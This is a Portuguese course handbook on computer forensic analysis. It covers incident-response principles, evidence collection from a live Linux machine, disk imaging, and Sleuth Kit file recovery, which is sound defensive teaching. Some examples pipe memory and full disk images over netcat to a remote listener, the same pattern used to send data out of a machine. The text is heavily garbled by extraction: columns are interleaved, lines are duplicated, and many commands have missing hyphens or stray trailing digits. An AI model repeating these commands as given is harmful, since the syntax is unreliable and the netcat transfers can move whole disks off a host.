Anlise forense
Anlise forense
Escola Superior de Redes RNP
Autor
Guilherme Venere
Revisor
Pierre Lavelle
Superviso tcnica
Jacomo Piccolini
Coordenao acadmica
Derlina Miranda
Reviso final
Pedro Sangirardi
Design
Tecnodesign
Coordenao geral
Luiz Coelho
Verso
2.0.2
Conhecimentos prvios
Objetivos
Sesso de aprendizagem 2
Ambiente e ferramentas de anlise forense . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
Sesso de aprendizagem 3
Ambiente e ferramentas de anlise forense (parte 2). . . . . . . . . . . . . . . . . . . . . 43
Sesso de aprendizagem 4
Coleta de evidncias. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71
Sesso de aprendizagem 5
Recuperao e anlise de evidncias. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 85
Sesso de aprendizagem 6
Recuperao e anlise de evidncias (parte 2). . . . . . . . . . . . . . . . . . . . . . . . . 99
Sesso de aprendizagem 7
Linha de tempo e reconstruo do ataque. . . . . . . . . . . . . . . . . . . . . . . . . . . 115
Sesso de aprendizagem 8
Anlise forense em Windows. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 123
Sesso de aprendizagem 9
Anlise forense avanada em Windows. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 135
Sesso de aprendizagem 10
Anlise forense avanada em Windows (parte 2). . . . . . . . . . . . . . . . . . . . . . . 155
Bibliografia. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 181
Escola Superior de Redes RNP
1
Sesso de aprendizagem 1
Princpios de anlise forense
Sumrio da sesso
Deteco de ataques . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11
Concluses . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15
Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
Princpios
p de anlise forense
Princpios de anlise forense
Por este mesmo motivo bom sempre realizar anlises dos dados em cpias,
mantendo os originais seguros contra modificaes e permitindo que seus passos
sejam repetidos posteriormente.
Motivaes
ppara investigar
g um incidente
Motivaes para investigar um incidente
Modo de ao
dos atacantes
Modo de ao dos atacantes
Deteco
de ataques
q
Deteco de ataques
Padro
P d para d detectar
t t mais i ffacilmente
il t um ataque
t :
Monitoramento da rede
Deteco de assinaturas de ataques e modificaes
no sistema
Utilizao de ferramentas de auditoria
Principalmente conhecimento de seus sistemas e de
Principalmente,
sua rede
Tipos
p de sistemas comprometidos
p
Tipos de sistemas comprometidos
Esterilizar as mdias significa eliminar quaisquer dados que possam existir nos discos
e dispositivos utilizados para gravar suas evidncias. Normalmente, basta executar
um procedimento de gravao de zeros (byte 00) em todos estes dispositivos,
sobrescrevendo qualquer dado que exista ali, antes de gravar qualquer evidncia.
Metodologia
g ppara anlise forense
Metodologia para anlise forense
O passo seguinte analisar esses arquivos e dados para identificar sua relao
com o caso, funcionalidades e informaes importantes que possam conter.
Finalmente, quando j tiver sido realizada uma anlise o mais completa possvel,
deve-se gerar um relatrio com os resultados encontrados e tcnicas utilizadas,
e uma concluso para o caso alcanada, com base nas evidncias coletadas
durante a investigao.
Concluses
Concluses
Tpicos e conceitos
\\90-120 minutos
18
Escola Superior de Redes RNP
1. Este exerccio deve ser feito em dupla. Suponha que em sua empresa
existe um servidor web considerado crtico, que hospeda todo o sistema
de gerenciamento de projetos da empresa e no pode ficar parado. Um
backup dirio dos dados realizado constantemente. Deve-se supor que
os integrantes da dupla fazem parte da comisso que est definindo os
procedimentos a adotar quando ocorrer um incidente de segurana
envolvendo a mquina do servidor. Pensando em todas as implicaes
destas aes, defina o que deve ser feito no caso de:
Discuta com seu parceiro os procedimentos e monte um checklist das aes que
devem ser tomadas. Procure ser o mais objetivo possvel, de modo que uma pes-
soa que siga o checklist no precise tomar nenhuma deciso. Pense que em um
momento de crise, a pessoa referida no pode perder tempo tomando decises.
Sumrio da sesso
Pr-requisitos. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20
Hardware. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20
Sistema operacional. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21
Live CD . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
Hardware forense. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23
Pacote forense. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24
Programas especficos. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27
Preparao da investigao. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29
Preparao do ambiente. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29
Preservao do disco. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35
Concluses . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39
Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41
Pr-requisitos
Pr-requisitos
Hardware
Hardware
Sistema operacional
Sistema operacional
Sistema operacional
Alm disso, o sistema operacional precisa ser seguro
o suficiente para no ser comprometido com alguma
Durante o curso, usaremos o Linux, por causa de
algumas caractersticas deste sistema: ferramenta investigada. Imagine se o investigador est
No necessrio adquirir licenas para uso analisando um arquivo desconhecido e sua estao
Existe uma gama completa de ferramentas de anlise forense de uso
livre forense comprometida por este arquivo?
Capacidade de acessar qualquer tipo de sistema de arquivos ou
parties a partir de configurao no kernel
Capacidade de acessar diversos tipos de dispositivos (USB, discos Alm disso, existem outras vantagens no uso do
etc)
Linux, como o sistema da estao forense e das
Firewall embutido no kernel e possibilidade de utilizar diversas
modificaes no kernel para aumentar a segurana da mquina ferramentas. O sistema permite a criao de CDs
Disponibilidade de diversas distribuies prontas para anlise
forense, facilitando o trabalho de reunir diferentes ferramentas
inicializveis que rodam em praticamente qualquer
configurao de hardware sem a necessidade de
instalao de drivers; rodam com pouca memria
e contam com diversos mecanismos de segurana
embutidos no prprio sistema.
Sistema operacional
Existem diversas opes para resolver o problema
Apesar disso, existem limitaes na utilizao do
sistema Linux. de anlise de binrios de outros sistemas operacio-
Se for necessrio analisar algum executvel para nais. No caso do Windows, em alguns casos poss-
Windows, precisaremos de uma maneira de emular o vel executar o binrio com emuladores por software
Windows. A melhor opo utilizar o VMWare ou
outro sistema de emulao, como o Wine. como o Wine, ou utilizar o prprio VMWare com um
Apesar da escolha pelo Linux, existem timas sistema Windows rodando na mquina virtual.
ferramentas de anlise forense para Windows, tal
como o software EnCase. Alm disso, dependendo do tipo de anlise que vai
ser feita, existem debuggers para Linux que tm
suporte a diversos formatos de binrios e processa-
dores, como por exemplo o IDA-Pro.
Live CD
Live CD
Alm das ferramentas que sero discutidas durante o curso, existem muitas
outras presentes no CD que o aluno poder utilizar, incluindo interfaces grficas
para algumas das ferramentas discutidas. No curso, examinaremos as ferramen-
tas de comando de linha que permitem trabalhar em um nvel mais baixo de opera-
o, e entender o real funcionamento de cada uma.
Hardware forense
Duplicadores de HDs
e equipamentos para
bloqueio de escrita em
mdias digitais
Redes Wi-Fi
Celulares
Celulares
Pacote forense
Pacote forense
Helix
Helix
The Coroner's Toolkit
Flag-Knoppix Este software oferece aos profissionais da rea
SMART Linux a possibilidade de executar vrios processos de
anlise forense computacional. Suporta diversos
Comerciais sistemas operacionais. Pode ser executado atravs
FTK Forensic Toolkit de um sistema operacional ou antes do incio do
EnCase sistema operacional. Suas principais caractersticas
so:
Helix
\\Visualizao de registros;
\\O FTK Explorer permite que se navegue rapidamente pelas imagens encontradas;
\\Suporta vrios sistemas de arquivos, como NTFS, FAT12, FAT16, FAT32, Linux
Ext2 e Ext3;
EnCase Forensics
\\Investigao reativa;
EnCase Forensics
\\Provas no repudiveis;
\\Automatizao de pesquisas;
\\Investigao pr-ativa;
\\Documentao de incidentes;
\\Discrio;
NetWitness
Net Witness
Programas especficos
Software para
reconhecimento visual
de imagens
Preparao da investigao
Preparao da investigao
Preparao do ambiente
Preparao do ambiente
# fdisk -l8
Inicialmente, preparemos o ambiente que vamos
utilizar durante o atendimento ao incidente: Disk /dev/sda: 8589 MB, 8589934592 bytes
255 heads, 63 sectors/track, 1044 cylinders
# fdisk l
Disk /dev/sda: 8589 MB, 8589934592 bytes Units = cylinders of 16065 * 512 = 8225280 bytes
255 heads, 63 sectors/track, 1044 cylinders Device Boot Start End Blocks Id System
Units = cylinders of 16065 * 512 = 8225280 bytes
Device Boot Start End Blocks Id System /dev/sda1 1 32 257008+ 82 Linuxswap
/dev/sda1 1 32 257008+ 82 Linuxswap
/dev/sda2 33 64 257040 83 Linux
/dev/sda2 33 64 257040 83 Linux
/dev/sda3 65 1044 7871850 5 Extended /dev/sda3 65 1044 7871850 5 Extended
/dev/sda5 65 1044 7871818+ 83 Linux
# mkdir /data
/dev/sda5 65 1044 7871818+ 83 Linux
# mount /dev/sda5 /data
# mkdir /data8
O comando netcat (nc) muito importante para o analista forense. Ele permite criar
conexes de rede TCP ou UDP com outras mquinas, alm de criar listeners, permitindo
simular a existncia de um servio, ou, como no exemplo, permitir a cpia de arquivos
pela rede sem utilizao de software especfico para isso. O instrutor deve tomar algum
tempo para mostrar o funcionamento do netcat, especificamente no exemplo dado.
Com isso, a sada do comando memdump vai ser transmitida pela rede (neste
caso, localmente, mas normalmente atravs da rede fsica) para o arquivo especi-
ficado no primeiro redirecionamento. possvel redirecionar para uma conexo de
rede, e coletar remotamente o arquivo em nossa estao forense:
Na estao forense:
Preparao do ambiente
# nc -l -p 4000 > /data/phys_memory.img8
Passos importantes durante o atendimento a um incidente:
Manter um registro preciso de todas as aes executadas, registrando Na mquina suspeita:
todos os comandos executados, com os respectivos tempos de
execuo. # memdump | nc 127.0.0.1 40008
Descobrir se as informaes de tempo disponveis em suas evidncias
so coerentes.
Durante a fase de anlise das evidncias, o inves-
O timezone de logs e da mquina um dado muito importante.
Por isso, aps recuperar a memria da mquina, importantetigador vai precisar correlacionar as evidncias
descobrir essas informaes:
# date encontradas na mquina invadida com evidncias
Sun Jan 6 01:34:46 MST 2008 externas, como logs de firewall, roteadores, IDS etc.
# uptime
01:35:16 up 7:55, 5 users, load average: 0.13, 0.26, 0.18 O sincronismo de tempo e a coerncia entre os time-
zones dessas evidncias importante para garantir
a validade das concluses encontradas atravs das
evidncias. Por isso importante descobrir essa informao o quanto antes,
durante o atendimento inicial do incidente.
Este passo normalmente o primeiro a ser realizado, mas como tentamos evitar
ao mximo o comprometimento de evidncias, executamos estes comandos
somente aps a coleta da memria, pois a execuo destes comandos poderia
sobrescrever alguma evidncia em memria.
# date8
Sun Jan 6 01:34:46 MST 2008
# uptime8
01:35:16 up 7:55, 5 users, load average: 0.13, 0.26, 0.18
# lsof l8
Lista todos os arquivos abertos. A sada pode ser grande, por isso use algum tipo
de controle de sada. Use os comandos more ou less, por exemplo, ou redirecione
a sada atravs do netcat.
# lsof -i8
Lista todos os arquivos de rede abertos. Com isso possvel descobrir os programas
que esto mantendo conexes abertas. Tem a mesma funo do comando netstat nap.
Este comando mostra todos os processos que mantm # lsof -l | grep LISTEN8
um socket Unix aberto: Xorg 2252 0 1u IPv4 9383 TCP *:x11 (LISTEN)
# lsof -U sshd 2792 0 3u IPv4 10359 TCP *:ssh (LISTEN)
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
udevd 517 root 3u unix 0xce957e00 4060 socket pump 2870 0 0u IPv4 10612 TCP *:bootpc (LISTEN)
dbus-daem 1485 messagebus 3u unix 0xce957c80 7524
/var/run/dbus/system_bus_socket
dbus-daem 1485 messagebus 5u unix 0xce957b00 7526 socket
Este comando mostra todos os processos que
mantm um socket Unix aberto. Pode ser importante
para descobrir processos escondidos que esto
mantendo conexes abertas e pipes que podem indi-
car a presena de trojans e rootkits.
# lsof -U8
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
udevd 517 root 3u unix 0xce957e00 4060 socket
dbus-daem 1485 messagebus 3u unix 0xce957c80 7524 /var/run/dbus/system_bus_socket
dbus-daem 1485 messagebus 5u unix 0xce957b00 7526 socket
Como podemos ver, para cada processo existem diversas informaes disponveis.
Alguns destes arquivos contm dados importantes sobre o processo em execuo.
# ls -l /proc/2877/cwd8
lrwxrwxrwx 1 root root 0 Jan 5 18:50 /proc/2877/cwd -> /data
# cat /proc/2877/cmdline8
-bash
# cat /proc/2877/environ8
USER=rootLOGNAME=rootHOME=/rootPATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sb
in:/usr/local/bin:/usr/X11R6/binMAIL=/var/mail/root
SHELL=/bin/bashSSH_CLIENT=192.168.47.1 4944
22SSH_CONNECTION=192.168.47.1 4944 192.168.47.129
22SSH_TTY=/dev/pts/2TERM=vt100
# ps ax | grep sshd8
2792 ? Ss 0:00 /usr/sbin/sshd
2872 ? Ss 0:07 sshd: root@pts/2,pts/3
Preservao do disco
Preservao do disco
Aps a coleta de informaes mais volteis, preciso Agora que j coletamos as informaes mais volteis,
salvar as evidncias menos volteis podemos nos preocupar em salvar as evidncias
A coleta deste tipo de evidncia importante, pois ser menos volteis. Precisamos coletar uma cpia de
atravs dos dados armazenados nos discos que
poderemos identificar processos executados pelo hacker, quaisquer dispositivos de armazenagem conectados
como instalao de ferramentas e modificao de arquivos ao equipamento.
H diversas metodologias e ferramentas disponveis para
coletar uma cpia dos discos:
Equipamentos especficos para cpia de discos A coleta deste tipo de evidncia importante, pois
Ferramentas para cpia disco a disco ser atravs dos dados armazenados nos discos que
Criao de uma imagem de disco bit a bit (mais comum) poderemos identificar processos executados pelo
hacker, instalao de ferramentas, modificao de
arquivos, enfim, poderemos criar uma linha do tempo
das atividades da mquina.
Para coletar uma cpia dos discos, existem diversas metodologias e ferramentas dis-
ponveis, tais como equipamentos especficos para cpia de discos, ferramentas para
cpia disco a disco, e o mais comum, a criao de uma imagem de disco bit a bit.
Uma imagem bit a bit uma cpia fiel do contedo do dispositivo de armazenagem,
garantindo que todos os dados presentes no dispositivo estejam presentes na imagem.
# strings a <arquivo.dat>8
# strings a <arquivo.dat>8
Assim deve ser feito sucessivamente para todas as parties existentes no disco.
Este mtodo ideal para copiar uma partio hospedada em dispositivos RAID.
No caso de ser necessrio copiar todo o disco, a nica modificao a ser feita no
comando especificar o dispositivo completo no parmetro if=<dev>.
Uma ferramenta do pacote forense Sleuth Kit pode ser til para identificar a estrutura
do disco ou imagem:
# /usr/local/sleuthkit-2.09/bin/mmls /dev/sda8
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors
Slot Start End Length Description
00: ----- 0000000000 0000000000 0000000001 Primary Table (#0)
01: ----- 0000000001 0000000062 0000000062 Unallocated
02: 00:00 0000000063 0000514079 0000514017 Linux Swap (0x82)
03: 00:01 0000514080 0001028159 0000514080 Linux (0x83)
04: 00:02 0001028160 0016771859 0015743700 DOS Extended (0x05)
05: ----- 0001028160 0001028160 0000000001 Extended Table (#1)
06: ----- 0001028161 0001028222 0000000062 Unallocated
07: 01:00 0001028223 0016771859 0015743637 Linux (0x83)
08: ----- 0016771860 0016777215 0000005356 Unallocated
# cat dev_sda2_root.sha18
0 - 104857600: efffdd6f8ecae38aea95cd1862775e3489150a97
104857600 - 209715200: f93beb718b2beac9f10dbe80b7250207d46dbda1
209715200 - 263208960: e694b7c0f6140be5ca6c5167d07d99140b91678e
Total (sha1): 641a91271d0ed17a995a01d48b70591d599213da
Adepto
# /usr/local/bin/adepto.sh8
Concluses
Concluses
Tpicos e conceitos
\\90 minutos
42
Escola Superior de Redes RNP
Outras ferramentas. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 61
CD de ferramentas. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 66
Concluses . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 67
Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 69
strings
O ltimo exemplo mostra como utilizar o comando grep para encontrar mensa-
gens a partir de uma expresso regular. Isto torna o grep muito poderoso para
encontrar evidncias.
# sha1deep -r -m /data/badfiles_hashs.sha1 /8
\\O primeiro comando do exemplo cria uma lista de hashs dos arquivos do
sistema;
\\O segundo comando compara essa lista com os arquivos do sistema para
detectar mudanas;
find
Procura no sistema por arquivos que casem com os
Procura no sistema por arquivos que casem com os padres especificados a partir de algumas restries
padres especificados a partir de algumas restries de de busca. Deve ser utilizado com cuidado, pois modi-
busca. Deve ser utilizado com cuidado, pois modifica as fica as datas de acesso dos arquivos pesquisados.
datas de acesso dos arquivos pesquisados.
# find /bin/ -type f -exec grep -H "Bash
version" {} \; # find /bin/ -type f -exec grep -H Bash version {}
# find /dev not type b and not type c \;8
# find /data -name ".[. ]*"
# find / -perm +02000 or perm +04000 # find /dev not type b and not type c8
file
Software bsico de rede
Tenta identificar o tipo de um arquivo a partir de
file
Tenta identificar o tipo de um arquivo a partir de um banco de um banco de assinaturas de arquivos conhecidos.
assinaturas de arquivos conhecidos. Algumas vezes Algumas vezes importante saber o tipo de um
importante saber o tipo de um arquivo suspeito.
arquivo suspeito.
# file /etc/passwd
/etc/passwd: ASCII text
# file /usr/share/icons/helix.png # file /etc/passwd8
/usr/share/icons/helix.png: PNG image data, 32 x
32, 8-bit/color RGBA, non-interlaced
/etc/passwd: ASCII text
# file /bin/bash
/bin/bash: ELF 32-bit LSB executable, Intel 80386, # file /usr/share/icons/helix.png8
version 1 (SYSV), for GNU/Linux 2.2.0, dynamically
/usr/share/icons/helix.png: PNG image data, 32 x
linked (uses shared libs), stripped.
32, 8-bit/color RGBA, non-interlaced
# file /bin/bash8
/bin/bash: ELF 32-bit LSB executable, Intel 80386,
version 1 (SYSV), for GNU/Linux 2.2.0, dynamically
linked (uses shared libs), stripped.
Isto significa que ele necessita de alguns arquivos externos para funcionar. Normalmente,
as ferramentas do sistema utilizam bibliotecas compartilhadas. O problema disso que
quando um invasor quiser comprometer os executveis do sistema, basta que substitua
as bibliotecas utilizadas por estes programas. Com isso, o hash criptogrfico dos arquivos
executveis no mudaria, mas eles no seriam mais confiveis.
A segunda coisa importante mostrada pelo comando acima que o arquivo /bin/
bash teve as informaes de debug removidas (stripped). Normalmente, isto
feito para diminuir o tamanho dos arquivos, mas tambm dificulta em descobrir a
utilidade de um programa, se no temos estas informaes. Encontrar um arquivo
suspeito que no tenha as informaes de debug removidas importante e pode
auxiliar bastante o investigador.
dd
Software bsico de rede
Comando utilizado para copiar dados binrios, que
dd
Comando utilizado para copiar dados binrios, que podem ser arquivos ou mesmo dispositivos fsicos.
podem ser arquivos ou mesmo dispositivos fsicos. Usado principalmente para realizar cpias fiis de disco.
Usado principalmente para realizar cpias fiis de
disco. # dd if=/dev/sda of=/dev/sdb8
netstat
Software bsico de rede
Com este comando pode-se descobrir rapidamente
netstat
Com este comando pode-se descobrir rapidamente a a existncia de portas de rede abertas na mquina,
existncia de portas de rede abertas na mquina ou ou as conexes atualmente estabelecidas. possvel
conexes atualmente estabelecidas. tambm descobrir a existncia de rotas estticas
possvel tambm descobrir a existncia de rotas inseridas manualmente. Exemplo:
estticas inseridas manualmente. Exemplo:
# netstat nap8
# netstat nap
# netstat nr # netstat nr8
# netstat -nlp
# netstat -nlp8
lsof
Software bsico de rede
Importante ferramenta de coleta de evidncias, uti-
lsof
Importante ferramenta de coleta de evidncias, lizada para listar todos os arquivos abertos. Em um
utilizada para listar todos os arquivos abertos. sistema operacional, qualquer recurso mantm um
Em um sistema operacional, qualquer recurso mantm arquivo aberto. Conexes de rede, bibliotecas aber-
um arquivo aberto. tas, programas em execuo, tudo vai ser listado
Conexes de rede, bibliotecas abertas, programas em
execuo, tudo vai ser listado pelo lsof. pelo lsof. Exemplo:
# lsof i # lsof i8
# lsof U
# lsof l | grep LISTEN # lsof U8
nc
Software bsico de rede
A funo desta ferramenta criar uma conexo
nc
Cria uma conexo de rede com outro computador, ou de rede com outro computador, ou ento criar
ento cria um listener em uma determinada porta. um listener em uma determinada porta. Com esta
Possibilita que o investigador copie arquivos e dados ferramenta, o investigador poder copiar arquivos
de um computador para outro, no sendo necessrio e dados de um computador para outro, no sendo
gravar nada no disco da mquina comprometida,
preservando evidncias. necessrio gravar nada no disco da mquina com-
prometida, preservando evidncias. Exemplo:
# nc l p 9999 > /data/disco1.img.gz
# dd if=/dev/sda1 | gzip -9 c | nc p
# nc l p 9999 > /data/disco1.img.gz8
9999 <ip_da_estacao_forense>
# dd if=/dev/sda1 | gzip -9 c | nc p 9999 <ip_da_
estacao_forense>8
Ethereal
Software bsico de rede
Esta ferramenta funciona como monitor de rede. Ela
Ethereal
Esta ferramenta funciona como monitor de rede. Ela serve para capturar todo o trfego de rede que chega
serve para capturar todo o trfego de rede que chega interface monitorada. Normalmente o investigador vai
interface monitorada. Exemplo: utilizar esta ferramenta para monitorar a atividade de
# ethereal -i eth0 -n -k -s 65535 -f "dst rede entrando e saindo da mquina comprometida, a
net 192.168.0.0/16"
partir da estao forense. Esta pode ser a primeira indi-
# ethereal i eth0 w /data/capture.log k
f "dst net 192.168.0.0/16 and port 22" cao de que a mquina est comprometida. Exemplo:
# ethereal r /data/capture.log n -f "src
net 192.168.0.0/16" # ethereal -i eth0 -n -k -s 65535 -f dst net
192.168.0.0/168
hexdump
hexdump
Permite a visualizao de arquivos binrios em um formato
hexadecimal. Algumas vezes pode ser interessante visualizar um
# hexdump -b /data/partition_table.img arquivo binrio em seu formato original, isto , sem
# hexdump -d /data/partition_table.img
# hexdump
00000000
-C
00
/data/partition_table.img
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
transfom-lo em texto puro. Para visualizar arquivos
*
000001b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 |................|
binrios em um formato hexadecimal, podemos uti-
000001c0
000001d0
01
01
00
20
82
83
fe
fe
3f
3f
1f
3f
3f
20
00
d8
00
07
00
00
e1
20
d7
d8
07
07
00
00
00
00
00
00
|....?.?.........|
|. ..?? ... .....|
lizar a ferramenta hexdump. Este comando permite
000001e0
000001f0
01
00
40
00
05
00
fe
00
ff
00
ff
00
40
00
b0
00
0f
00
00
00
d4
00
3a
00
f0
00
00
00
00
55
00
aa
|.@....@....:....|
|..............U.|
mostrar o contedo de um arquivo binrio em diver-
sos formatos, especificados pelo usurio.
Exemplo:
# hexdump -b /data/partition_table.img8
# hexdump -d /data/partition_table.img8
# hexdump -C /data/partition_table.img8
00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
000001b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 |................|
000001c0 01 00 82 fe 3f 1f 3f 00 00 00 e1 d7 07 00 00 00 |....?.?.........|
000001d0 01 20 83 fe 3f 3f 20 d8 07 00 20 d8 07 00 00 00 |. ..?? ... .....|
000001e0 01 40 05 fe ff ff 40 b0 0f 00 d4 3a f0 00 00 00 |.@....@....:....|
000001f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 aa |..............U.|
lsattr/chattr
Informaes sobre executveis
Alm das permisses de acesso normais do arquivo
lsattr/chattr
Alm das permisses de acesso normais do arquivo (leitura, escrita e execuo), existem permisses
(leitura, escrita e execuo), existem permisses extras no sistema de arquivos que permitem controlar
extras no sistema de arquivos que permitem controlar o acesso aos arquivos. No Linux, estes atributos
o acesso aos arquivos.
extendidos podem ser modificados ou verificados
# rm -f /data/bla com os comandos lsattr e chattr: append only (a),
rm: cannot remove `/data/bla': Operation not permitted
# lsattr /data/bla compressed (c), no dump (d), immutable (i), data
----i------------ /data/bla journalling (j), secure deletion (s), no tail-merging (t),
# chattr -i +u /data/bla
undeletable (u), no atime updates (A), synchronous
directory updates (D), synchronous updates (S), top
of directory hierarchy (T). Normalmente o atributo
mais utilizado pelos invasores para proteger seus
arquivos o immutable.
Com este atributo, um arquivo no pode ser apagado nem modificado por nenhum
usurio do sistema. Exemplo:
# rm -f /data/bla8
rm: cannot remove `/data/bla: Operation not permitted
# lsattr /data/bla8
----i------------ /data/bla
# chattr -i +u /data/bla8
strace
Informaes sobre executveis
Permite executar um processo e acompanhar toda
strace
Permite executar um processo e acompanhar toda a a atividade executada pelo mesmo, como todos os
atividade executada pelo mesmo, como todos os acessos ao sistema de arquivo, chamados de sis-
acessos ao sistema de arquivo, chamados de sistema, tema, leitura e escrita em filehandles, abertura e uti-
leitura e escrita em filehandles, abertura e utilizao
de sockets de rede. lizao de sockets de rede. Pode ser muito til caso
o investigador encontre um processo em execuo e
# strace -f -F -i -t -x -p `pidof Xorg`
queira descobrir mais informaes sobre o mesmo,
# strace -f -F /usr/sbin/sshd
ou ento se encontrar um binrio desconhecido
numa mquina e quiser execut-lo em um ambiente
controlado para saber a sua funo. Exemplo:
# strace -f -F /usr/sbin/sshd8
Esta uma facilidade do shell que permite executar o comando dentro das aspas
invertidas, pegar a sada deste comando, e substitu-la na linha de comando no
lugar das aspas invertidas. O comando pidof retorna o PID do programa que bate
com o nome passado como parmetro.
readelf
Informaes sobre executveis
Este comando til na anlise de binrios desconhe-
readelf
Este comando til na anlise de binrios cidos. Ele permite listar uma srie de informaes
desconhecidos. Ele permite listar uma srie de importantes sobre a estrutura do executvel, facili-
informaes importantes sobre a estrutura do tando assim um possvel trabalho de anlise desse
executvel, facilitando assim um possvel trabalho de
anlise desse binrio. binrio.
# readelf -h /data/bla8
# readelf -h /data/bla
# readelf -S /data/bla
# readelf -S /data/bla8
# readelf -l /data/bla
# readelf -e /data/bla # readelf -l /data/bla8
# readelf -e /data/bla8
ldd/nm/objdump
# nm /bin/ntfs-3g8
ldd/nm/objdump
Estas trs ferramentas podem ser utilizadas em uma anlise # objdump -x /bin/ntfs-3g8
mais avanada de um binrio desconhecido.
Elas permitem descobrir informaes importantes sobre a # objdump -D /bin/ntfs-3g8
estrutura, funes e dependncias de um executvel:
# objdump -S /bin/ntfs-3g8
# ldd /bin/ntfs-3g
# nm /bin/ntfs-3g
# objdump -x /bin/ntfs-3g O primeiro comando exemplificado permite listar de
# objdump -D /bin/ntfs-3g quais bibliotecas o programa em questo depende.
# objdump -S /bin/ntfs-3g Este comando pode ser til para descobrir verses
modificadas de binrios que possam apontar para
bibliotecas em locais externos ao padro do sistema.
Por que utilizar um pacote forense de ferramentas? Tipos de ferramentas do pacote forense:
Facilitam o trabalho de analisar e extrair evidncias de \\Ferramentas do Nvel de Sistema de Arquivos
imagens de disco.
Permitem recuperar arquivos removidos.
Estas ferramentas processam dados gerais sobre
So flexveis, permitindo a anlise de sistemas de o sistema de arquivos, tal como o layout de
arquivos diferentes. disco, estruturas de alocao e boot blocks.
A quantidade de dados muito grande, ento
ferramentas especficas tornam o trabalho mais fcil. \\Ferramentas do Nvel de Nomes de Arquivos
Estas ferramentas processam estruturas de
nomes de arquivos e de diretrios.
Journal Inode: 8
METADATA INFORMATION
--------------------------------------------
Inode Range: 1 - 64512
Root Directory: 2
Free Inodes: 51833
CONTENT INFORMATION
--------------------------------------------
Block Range: 0 - 257039
Block Size: 1024
Reserved Blocks Before Block Groups: 1
Free Blocks: 50885
fls
Ferramentas do nvel de nomes de
arquivos
fls Lista nomes de arquivos alocados ou apagados em
Lista nomes de arquivos alocados ou apagados em um diretrio.
um diretrio.
# fls -a r d -f linux-ext2 # fls -a r d -f linux-ext2 /data/dev_sda2_root.img8
/data/dev_sda2_root.img
d/- * 0: KNOPPIX/usr d/- * 0: KNOPPIX/usr
r/r * 4317: usr/NX/bin/nxclient r/r * 4317: usr/NX/bin/nxclient
istat istat
Mostra estatsticas e detalhes sobre um determinado # istat -f linux-ext2 /data/dev_sda2_root.img 43178
inode.
icat
Ferramentas do nvel de metadados
# icat -f linux-ext2 /data/dev_sda2_root.img 4317 >
/data/inode_4317_nxclient.dat8
icat
Extrai uma unidade de dados de um disco, a partir do
endereo do metadado que aponta para este bloco. O icat a ferramenta utilizada para recuperar arquivos
Permite extrair um arquivo a partir de um inode, sem deletados. Com o inode sabendo onde um arquivo est
precisar saber o nome do arquivo. armazenado, como por exemplo utilizando fls ou lsi,
# icat -f linux-ext2 possvel recuperar o arquivo utilizando o icat como
/data/dev_sda2_root.img 4317 >
/data/inode_4317_nxclient.dat
mostra o exemplo.
ifind
No primeiro exemplo, temos um bloco do disco que poderia conter dados importantes
que queremos recuperar. Para achar o inode que est alocando este bloco, isto , o
arquivo que continha originalmente este bloco, utilizamos primeiro o ifind para encontrar o
inode, e aps isso utilizamos o ffind para encontrar o nome de arquivo correspondente.
ils
Ferramentas do nvel de metadados
Lista as estruturas de metadados e seus contedos
ils
Lista as estruturas de metadados e seus contedos em em um formato fcil de se tratar. O ils faz com ino-
um formato fcil de tratar. des o mesmo que o fls fez com nomes de arquivos.
Faz com inodes o mesmo que o fls fez com nomes de Exemplo:
arquivos.
# ils r f linux-ext2 /data/dev_sda2_root.img
# ils r f linux-ext2 /data/dev_sda2_root.img
# ils -m -f linux-ext2 -e -r /data/dev_sda2_root.img >
/data/dev_sda2_root.img.ils
# ils -m -f linux-ext2 -e -r /data/dev_sda2_root.
img > /data/dev_sda2_root.img.ils
# ils O f linux-ext2 /data/dev_sda2_root.img
E o terceiro exemplo til em um sistema ligado, permitindo listar todos os inodes que
foram removidos, mas ainda esto abertos. Com isto, poderemos identificar algum exe-
